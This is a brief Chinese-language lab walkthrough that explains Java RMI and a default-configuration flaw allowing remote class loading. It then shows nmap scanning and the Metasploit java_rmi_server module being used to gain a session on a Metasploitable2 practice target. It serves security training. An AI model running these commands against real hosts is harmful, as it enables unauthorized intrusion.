RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。
RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:对象序列化协议用来编组调用和返回数据。HTTP协议用于POST远程方法调用,并在情况允许时获取返回数据。
第一步
漏洞发现
使用nmap进行目标扫描端口探测:nmap -sS -Pn -A 192.168.1.151
192.168.73.130是我们的靶机(metasploitable2),靶机上安装了Java RMI服务(rmiregistry),运行在1099端口上,你也可以通过nmap扫描结果来看这个端口是开放的
在我们的攻击机上使用MSF,搜索java_rmi
选择攻击模块 exploit/multi/misc/java_rmi_server或者use 1
使用show options查看需要设置的参数
由上图可知,我们需要设置RHOSTS(靶机ip),使用set RHOSTS 192.168.1.151
接下来就是run/exploit
输入命令sysinfo查看系统信息